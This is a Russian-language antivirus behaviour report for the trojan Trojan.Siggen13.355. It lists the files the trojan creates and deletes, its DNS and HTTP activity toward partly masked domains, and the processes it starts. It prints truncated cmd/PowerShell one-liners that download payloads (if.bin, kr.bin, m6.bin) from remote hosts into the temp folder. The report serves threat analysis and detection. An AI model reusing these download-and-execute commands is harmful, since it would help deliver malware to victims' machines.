Trojan.Siggen13.355

Техническая информация

Вредоносные функции

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\dahqm1x8plr.exe' -

Изменения в файловой системе

Создает следующие файлы

%TEMP%\kr.bin
%TEMP%\csca6d9.tmp
%TEMP%\qsrfskll.out
%TEMP%\qsrfskll.cmdline
%TEMP%\qsrfskll.0.cs
%TEMP%\igbtaix_.dll
%TEMP%\res7426.tmp
%TEMP%\csc7425.tmp
%TEMP%\igbtaix_.out
%TEMP%\igbtaix_.cmdline
%TEMP%\resa6da.tmp
%TEMP%\igbtaix_.0.cs
%TEMP%\sysps.exe
%TEMP%\m6.bin
%TEMP%\if.bin
%TEMP%\os1ukuht.dll
%TEMP%\res23e5.tmp
%TEMP%\csc23e4.tmp
%TEMP%\os1ukuht.out
%TEMP%\os1ukuht.cmdline
%TEMP%\os1ukuht.0.cs
%TEMP%\m6.bin.ori
%TEMP%\qsrfskll.dll

Удаляет следующие файлы

%TEMP%\res23e5.tmp
%TEMP%\qsrfskll.dll
%TEMP%\qsrfskll.pdb
%TEMP%\qsrfskll.out
%TEMP%\csca6d9.tmp
%TEMP%\resa6da.tmp
%TEMP%\igbtaix_.0.cs
%TEMP%\igbtaix_.out
%TEMP%\igbtaix_.pdb
%TEMP%\qsrfskll.cmdline
%TEMP%\igbtaix_.cmdline
%TEMP%\csc7425.tmp
%TEMP%\res7426.tmp
%TEMP%\os1ukuht.0.cs
%TEMP%\os1ukuht.out
%TEMP%\os1ukuht.dll
%TEMP%\os1ukuht.cmdline
%TEMP%\os1ukuht.pdb
%TEMP%\csc23e4.tmp
%TEMP%\igbtaix_.dll
%TEMP%\qsrfskll.0.cs

Сетевая активность

Подключается к

'localhost':43669
'do##.#qlnetcat.com':80

TCP

Запросы HTTP GET

http://do##.#qlnetcat.com/sysps.dat?&x###########################################################################################################################################################...

UDP

DNS ASK do##.#qlnetcat.com
DNS ASK t.###catkit.com
DNS ASK pg.##9kq.com
DNS ASK p.##9kq.com
DNS ASK pg.##qh4.com
DNS ASK p.##qh4.com
DNS ASK lp##.ackng.com
DNS ASK ap#.890.la

Другое

Создает и запускает на исполнение

'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\os1ukuht.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES23E5.tmp" "%TEMP%\CSC23E4.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\igbtaix_.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7426.tmp" "%TEMP%\CSC7425.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qsrfskll.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA6DA.tmp" "%TEMP%\CSCA6D9.tmp"' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='144f3ede7ec9d604a58113fc91a246d1';$ifp=$env:tmp+'\if.bin';$down_url='http://do##.##...
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qsrfskll.cmdline"
'<SYSTEM32>\netstat.exe' -anop TCP
'<SYSTEM32>\nslookup.exe' lplp.ackng.com
'<SYSTEM32>\nslookup.exe' p.k3qh4.com
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7426.tmp" "%TEMP%\CSC7425.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\igbtaix_.cmdline"
'<SYSTEM32>\nslookup.exe' pg.k3qh4.com
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA6DA.tmp" "%TEMP%\CSCA6D9.tmp"
'<SYSTEM32>\nslookup.exe' p.b69kq.com
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES23E5.tmp" "%TEMP%\CSC23E4.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\os1ukuht.cmdline"
'<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='da6d146caaaea5f468ad1d7283a0ffd4';$ifp=$env:tmp+'\kr.bin';$down_url='http://...
'<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='4001ba98a424fdb63047a23af97ec590';$ifp=$env:tmp+'\m6.bin';$down_url='http...
'<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='144f3ede7ec9d604a58113fc91a246d1';$ifp=$env:tmp+'\if.bin';$down_url='http://...
'<SYSTEM32>\cmd.exe' /c echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='da6d146caaaea5f468ad1d7283a0ffd4';$ifp=$env:tmp+'\kr.bin';$down_url='http://do##.##...
'<SYSTEM32>\cmd.exe' /c echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='4001ba98a424fdb63047a23af97ec590';$ifp=$env:tmp+'\m6.bin';$down_url='http://do##...
'<SYSTEM32>\nslookup.exe' pg.b69kq.com
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -s -NoLogo -NoProfile